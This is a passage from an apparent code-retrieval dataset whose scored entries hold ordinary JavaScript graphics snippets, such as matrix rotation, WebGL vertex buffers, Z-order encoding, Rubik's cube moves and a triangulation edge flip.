center.\n\t\txx0 = 2 * xx + m.padding;\n\t\tyy0 = 2 * yy - slope * m.padding;\n\n\t\t// Shift the whole along the panel’s leg when on the other (left) side.\n\t\tif (leftHalf) {\n\t\t\txx0 -= z.leg;\n\t\t\tyy0 += slope * z.leg;\n\t\t}\n\n\t\t// Now we’re at the origin. Calculate transform strings here.\n\t\tpanel.transform = translate(xx0, yy0);\n\n\t\t// In the lowerHalf, align the start of the text with the previous\n\t\t// start position, so shift it right by one unit.\n\t\tpanel.originText = translate(xx0 + (lowerHalf ? -2 * slope : 0), yy0);\n\t\tpanel.originEntries = translate(2 * slope, 2);\n\n\t\txx += panel.entries.length * slope;\n\t\tyy += panel.entries.length;\n\t}\n\treturn yy;\n}", "title": "" }, { "docid": "896bcfb40b1a6402feb10526ec6adfd9", "score": "0.5237274", "text": "updateCameraMatrix () {\n mat4.fromRotationTranslation (this.view, this.rotation, this.position);\n mat4.invert (this.view, this.view);\n }", "title": "" }, { "docid": "db76a9603a7e471290a2aeaa92482548", "score": "0.52325594", "text": "function rotateMatrixInPlace(matrix){\n for(var layer = 0; layer < matrix.length / 2; layer++){\n var first = layer;\n var last = matrix.length-1-layer;\n for(var i = first; i < last; i++){\n var offset = i - layer;\n\n var top = matrix[first][i]\n //left to top\n matrix[first][i] = matrix[last - offset][first];\n\n //bottom to left\n matrix[last-offset][first] = matrix[last][last - offset];\n\n // right to bottom\n matrix[last][last-offset] = matrix[i][last];\n\n //top to right\n matrix[i][last] = top;\n }\n }\n return matrix\n}", "title": "" }, { "docid": "d1723956e47673c080b6f6d828a84e34", "score": "0.52302504", "text": "function arrayRotateFrontClockwise() {\n arrayRotateFaceClockwise(\"F\");\n \n var s1 = new Cubelet(), s2 = new Cubelet(), s3 = new Cubelet();\n\n createDeepCopy(s1, cubelets[3][2][0]);\n createDeepCopy(s2, cubelets[3][2][1]);\n createDeepCopy(s3, cubelets[3][2][2]);\n\n arrayShiftCol (2, 0, s1, s2, s3);\n arrayShiftRowReverse(4, 0, s1, s2, s3);\n arrayShiftCol(1, 2, s1, s2, s3);\n arrayShiftRowReverse(3, 2, s1, s2, s3);\n\n}", "title": "" }, { "docid": "cbd3b2c0c9ac34f5d37f3fdfcc4dd184", "score": "0.5224209", "text": "function setupBuffers() {\n vertexPositionBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexPositionBuffer);\n triangleVertices = [\n //Top Bar\n -0.65 , 0.9, 0.0,\n -0.65, 0.75, 0.0,\n 0.65, 0.75, 0.0,\n \n -0.65, 0.9, 0.0,\n 0.65, 0.9, 0.0,\n 0.65, 0.75, 0.0,\n //Left of I\n -0.55, 0.75, 0.0,\n -0.25, 0.75, 0.0,\n -0.25, 0.55, 0.0,\n \n -0.55, 0.75, 0.0,\n -0.25, 0.55, 0.0,\n -0.55, 0.02, 0.0,\n\n -0.55, 0.02, 0.0,\n -0.25, 0.55, 0.0,\n -0.25, 0.02, 0.0,\n \n -0.25, 0.55, 0.0,\n -0.15, 0.55, 0.0,\n -0.15, 0.2, 0.0,\n \n -0.25, 0.55, 0.0,\n -0.25, 0.2, 0.0,\n -0.15, 0.2, 0.0,\n //Right of I\n 0.55, 0.75, 0.0,\n 0.25, 0.75, 0.0,\n 0.25, 0.55, 0.0,\n \n 0.55, 0.75, 0.0,\n 0.25, 0.55, 0.0,\n 0.55, 0.02, 0.0,\n\n 0.55, 0.02, 0.0,\n 0.25, 0.55, 0.0,\n 0.25, 0.02, 0.0,\n \n 0.25, 0.55, 0.0,\n 0.15, 0.55, 0.0,\n 0.15, 0.2, 0.0,\n \n 0.25, 0.55, 0.0,\n 0.25, 0.2, 0.0,\n 0.15, 0.2, 0.0,\n //Red/orange Lining (left)\n -0.55, -0.02, 0.0,\n -0.45, -0.02, 0.0,\n -0.55, -0.1, 0.0,\n \n -0.45, -0.02, 0.0,\n -0.55, -0.1, 0.0,\n -0.45, -0.15, 0.0,\n\n -0.35, -0.02, 0.0,\n -0.35, -0.2, 0.0,\n -0.25, -0.02, 0.0,\n \n -0.35, -0.2, 0.0,\n -0.25, -0.25, 0.0,\n -0.25, -0.02, 0.0,\n \n -0.15, -0.02, 0.0,\n -0.15, -0.3, 0.0,\n -0.05, -0.02, 0.0,\n \n -0.05, -0.02, 0.0,\n -0.15, -0.3, 0.0,\n -0.05, -0.35, 0.0,\n //Orange Lining (right)\n 0.55, -0.02, 0.0,\n 0.45, -0.02, 0.0,\n 0.55, -0.1, 0.0,\n \n 0.45, -0.02, 0.0,\n 0.55, -0.1, 0.0,\n 0.45, -0.15, 0.0,\n\n 0.35, -0.02, 0.0,\n 0.35, -0.2, 0.0,\n 0.25, -0.02, 0.0,\n \n 0.35, -0.2, 0.0,\n 0.25, -0.25, 0.0,\n 0.25, -0.02, 0.0,\n \n 0.15, -0.02, 0.0,\n 0.15, -0.3, 0.0,\n 0.05, -0.02, 0.0,\n \n 0.05, -0.02, 0.0,\n 0.15, -0.3, 0.0,\n 0.05, -0.35, 0.0\n ]\n \n \n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(triangleVertices), gl.STATIC_DRAW);\n vertexPositionBuffer.itemSize = 3;\n vertexPositionBuffer.numberOfItems = (3*24);\n \n vertexColorBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexColorBuffer);\n var colors = [\n //top bar\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n //left of I\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n //Right of I\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n \n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n 0.0, 0.0, 0.3, 1.0,\n //Orange Lining\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n //Orange Lining\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n \n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0,\n 1.0, 0.2, 0.0, 1.0\n ];\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);\n vertexColorBuffer.itemSize = 4;\n vertexColorBuffer.numItems = (3*24); \n}", "title": "" }, { "docid": "5c43c7d7ebc5d1d2fb4995c5d065dbe7", "score": "0.5224195", "text": "function transformTo2D(vertex) {\n return { x: vertex.x, y: vertex.y };\n }", "title": "" }, { "docid": "39396601a6bd7ff45ae9761055f031e2", "score": "0.522289", "text": "function loadVertices() {\r\n cubeVertexBuffer0 = gl.createBuffer();\r\n cubeVertexBuffer1 = gl.createBuffer();\r\n cubeVertexBuffer2 = gl.createBuffer();\r\n cubeVertexBuffer3 = gl.createBuffer();\r\n cubeVertexBuffer4 = gl.createBuffer();\r\n cubeVertexBuffer5 = gl.createBuffer();\r\n var vright = [\r\n 0.5, -0.5, -0.5,\r\n 0.5, 0.5, -0.5,\r\n 0.5, 0.5, 0.5,\r\n 0.5, -0.5, 0.5\r\n ];\r\n var vleft = [\r\n -0.5, -0.5, -0.5,\r\n -0.5, -0.5, 0.5,\r\n -0.5, 0.5, 0.5,\r\n -0.5, 0.5, -0.5\r\n ];\r\n\r\n var vfront = [\r\n -0.5, -0.5, 0.5,\r\n 0.5, -0.5, 0.5,\r\n 0.5, 0.5, 0.5,\r\n -0.5, 0.5, 0.5\r\n ];\r\n\r\n var vback = [\r\n -0.5, -0.5, -0.5,\r\n -0.5, 0.5, -0.5,\r\n 0.5, 0.5, -0.5,\r\n 0.5, -0.5, -0.5\r\n];\r\n var vbottom = [\r\n -0.5, -0.5, -0.5,\r\n 0.5, -0.5, -0.5,\r\n 0.5, -0.5, 0.5,\r\n -0.5, -0.5, 0.5,\r\n ];\r\n var vtop = [\r\n -0.5, 0.5, -0.5,\r\n -0.5, 0.5, 0.5,\r\n 0.5, 0.5, 0.5,\r\n 0.5, 0.5, -0.5\r\n];\r\n\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer0);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vleft), gl.STATIC_DRAW);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer1);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vright), gl.STATIC_DRAW);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer2);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vbottom), gl.STATIC_DRAW);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer3);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vtop), gl.STATIC_DRAW);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer4);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vback), gl.STATIC_DRAW);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, cubeVertexBuffer5);\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vfront), gl.STATIC_DRAW);\r\n\r\n}", "title": "" }, { "docid": "5796b23c1940939c688fcf68b4bc50cb", "score": "0.5220593", "text": "edges() {\n if (this.pos.x <= this.r) {\n this.pos.x = this.r;\n this.vel.x *= -1;\n }\n\n if (this.pos.x >= width - this.r) {\n this.pos.x = width - this.r;\n this.vel.x *= -1;\n }\n\n if (this.pos.y <= this.r) {\n this.pos.y = this.r;\n this.vel.y *= -1;\n }\n\n if (this.pos.y >= height - this.r) {\n this.pos.y = height - this.r;\n this.vel.y *= -1;\n }\n }", "title": "" }, { "docid": "0a15e33b3bcd442695c22abfd19cd346", "score": "0.52129316", "text": "function updateCurrentSide(){\n if(mouseX < width/2){\n onLeft = true;\n onRight = false;\n }\n else{\n onLeft = false;\n onRight = true;\n }\n}", "title": "" }, { "docid": "9b3c3e39bcdba5fbaf11cf02902a1221", "score": "0.5203084", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n }", "title": "" }, { "docid": "9b3c3e39bcdba5fbaf11cf02902a1221", "score": "0.5203084", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n }", "title": "" }, { "docid": "f06db9676522f6127bb4cb6a79278ba3", "score": "0.51958585", "text": "function flip(triangle1, triangle2)\n{\n // Each triangle is made up of three points and in this case two of\n // them are shared, because the triangles must have a common edge --\n // we search for the indices of the points that are *not* shared\n // between the two.\n var index1 = findNotContainedPoint(triangle1.points, triangle2.points);\n var index2 = findNotContainedPoint(triangle2.points, triangle1.points);\n\n //DEBUG: assert(index1 != null);\n //DEBUG: assert(index2 != null);\n //DEBUG: assert(0 <= index1 && index1 <= 2);\n //DEBUG: assert(0 <= index2 && index2 <= 2);\n\n //DEBUG: console.log(\"flipping: \" + triangle1 + \" with \" + triangle2);\n\n var swapIndex1 = (index1 + 1) % 3;\n var swapIndex2 = findRemainingIndex(triangle2.points, triangle2.points[index2], triangle1.points[swapIndex1]);\n\n // The actual edge flip is pretty simple.\n triangle1.setPoint(swapIndex1, triangle2.points[index2]);\n triangle2.setPoint(swapIndex2, triangle1.points[index1]);\n\n // Backup the neighbors of the triangles (actually we only need\n // oldNeighbors1 but for orthogonality we copy both).\n var oldNeighbors1 = triangle1.neighbors.concat([]);\n var oldNeighbors2 = triangle2.neighbors.concat([]);\n\n // Calculate the indices of the neighbors that need to be updated.\n var index11 = (swapIndex1 + 2) % 3;\n var index12 = swapIndex1;\n var index21 = (swapIndex2 + 2) % 3;\n var index22 = swapIndex2;\n\n // Fix the references to (and from) other neighboring triangles.\n replaceNeighbor(triangle1.neighbors[index11], triangle1, triangle2);\n triangle1.neighbors[index11] = triangle2;\n triangle1.neighbors[index12] = oldNeighbors2[index2];\n\n replaceNeighbor(triangle2.neighbors[index21], triangle2, triangle1);\n triangle2.neighbors[index21] = triangle1;\n triangle2.neighbors[index22] = oldNeighbors1[index1];\n\n //DEBUG: console.log(\"done: \" + triangle1 + \" with \" + triangle2);\n}", "title": "" }, { "docid": "9be9574ff18c6c6fa9facc0a5ebd0832", "score": "0.51935583", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t\t// coords are transformed into non-negative 15-bit integer range\n\n\t\tx = 32767 * ( x - minX ) * invSize;\n\t\ty = 32767 * ( y - minY ) * invSize;\n\n\t\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\t\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\t\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\t\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\t\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\t\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\t\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\t\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\t\treturn x | ( y << 1 );\n\n\t}", "title": "" }, { "docid": "9be9574ff18c6c6fa9facc0a5ebd0832", "score": "0.51935583", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t\t// coords are transformed into non-negative 15-bit integer range\n\n\t\tx = 32767 * ( x - minX ) * invSize;\n\t\ty = 32767 * ( y - minY ) * invSize;\n\n\t\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\t\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\t\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\t\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\t\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\t\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\t\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\t\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\t\treturn x | ( y << 1 );\n\n\t}", "title": "" }, { "docid": "9be9574ff18c6c6fa9facc0a5ebd0832", "score": "0.51935583", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t\t// coords are transformed into non-negative 15-bit integer range\n\n\t\tx = 32767 * ( x - minX ) * invSize;\n\t\ty = 32767 * ( y - minY ) * invSize;\n\n\t\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\t\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\t\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\t\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\t\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\t\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\t\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\t\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\t\treturn x | ( y << 1 );\n\n\t}", "title": "" }, { "docid": "9be9574ff18c6c6fa9facc0a5ebd0832", "score": "0.51935583", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t\t// coords are transformed into non-negative 15-bit integer range\n\n\t\tx = 32767 * ( x - minX ) * invSize;\n\t\ty = 32767 * ( y - minY ) * invSize;\n\n\t\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\t\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\t\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\t\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\t\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\t\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\t\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\t\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\t\treturn x | ( y << 1 );\n\n\t}", "title": "" }, { "docid": "e98c134955c1bca13c266ed881821fe5", "score": "0.51932603", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t\t// coords are transformed into non-negative 15-bit integer range\n\t\tx = 32767 * ( x - minX ) * invSize;\n\t\ty = 32767 * ( y - minY ) * invSize;\n\n\t\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\t\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\t\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\t\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\t\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\t\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\t\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\t\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\t\treturn x | ( y << 1 );\n\n\t}", "title": "" }, { "docid": "65ca0b8013b31403c2c469aeba4d1f4a", "score": "0.5188302", "text": "paintFaceX(verts) {\n // Compute the 2D coordinates\n let v2D = verts.map(v => [v[0]-v[2], v[1]]);\n this.paintFace(v2D, verts, false);\n }", "title": "" }, { "docid": "1400fbb37f1162ee27615478670538b2", "score": "0.51853716", "text": "changeCubePosition(face) {\n let temp;\n for (let x = 0; x < 3; x++) {\n for (let y = 0; y < 3; y++) {\n for (let z = 0; z < 3; z++) {\n switch (face) {\n case \"L\":\n if (this.cubes[x][y][z].cubePosition[0] === -1) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"l\":\n if (this.cubes[x][y][z].cubePosition[0] === -1) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n break;\n case \"R\":\n if (this.cubes[x][y][z].cubePosition[0] === 1) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n break;\n case \"r\":\n if (this.cubes[x][y][z].cubePosition[0] === 1) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"U\":\n if (this.cubes[x][y][z].cubePosition[1] === 1) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"u\":\n if (this.cubes[x][y][z].cubePosition[1] === 1) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"D\":\n if (this.cubes[x][y][z].cubePosition[1] === -1) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"d\":\n if (this.cubes[x][y][z].cubePosition[1] === -1) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"E\":\n if (this.cubes[x][y][z].cubePosition[1] === 0) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"e\":\n if (this.cubes[x][y][z].cubePosition[1] === 0) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"F\":\n if (this.cubes[x][y][z].cubePosition[2] === 1) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"f\":\n if (this.cubes[x][y][z].cubePosition[2] === 1) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n break;\n case \"S\":\n if (this.cubes[x][y][z].cubePosition[2] === 0) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"s\":\n if (this.cubes[x][y][z].cubePosition[2] === 0) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n break;\n case \"B\":\n if (this.cubes[x][y][z].cubePosition[2] === -1) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[0];\n this.cubes[x][y][z].rotationAxis[0] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n break;\n case \"b\":\n if (this.cubes[x][y][z].cubePosition[2] === -1) {\n temp = this.cubes[x][y][z].cubePosition[0];\n this.cubes[x][y][z].cubePosition[0] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[0]);\n this.cubes[x][y][z].rotationAxis[0] = temp;\n }\n break;\n case \"M\":\n if (this.cubes[x][y][z].cubePosition[0] === 0) {\n temp = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[1];\n this.cubes[x][y][z].rotationAxis[1] = negate(this.cubes[x][y][z].rotationAxis[2]);\n this.cubes[x][y][z].rotationAxis[2] = temp;\n }\n break;\n case \"m\":\n if (this.cubes[x][y][z].cubePosition[0] === 0) {\n temp = this.cubes[x][y][z].cubePosition[1];\n this.cubes[x][y][z].cubePosition[1] = this.cubes[x][y][z].cubePosition[2];\n this.cubes[x][y][z].cubePosition[2] = -temp;\n\n temp = this.cubes[x][y][z].rotationAxis[2];\n this.cubes[x][y][z].rotationAxis[2] = negate(this.cubes[x][y][z].rotationAxis[1]);\n this.cubes[x][y][z].rotationAxis[1] = temp;\n }\n }\n }\n }\n }\n }", "title": "" }, { "docid": "ed5712446f2b57052256716c733acbae", "score": "0.5184816", "text": "function matrix_invert(matrix) {\n var M = matrix.m;\n // I use Guassian Elimination to calculate the inverse:\n // (1) 'augment' the matrix (left) by the identity (on the right)\n // (2) Turn the matrix on the left into the identity by elemetry row ops\n // (3) The matrix on the right is the inverse (was the identity matrix)\n // There are 3 elemtary row ops: (I combine b and c in my code)\n // (a) Swap 2 rows\n // (b) Multiply a row by 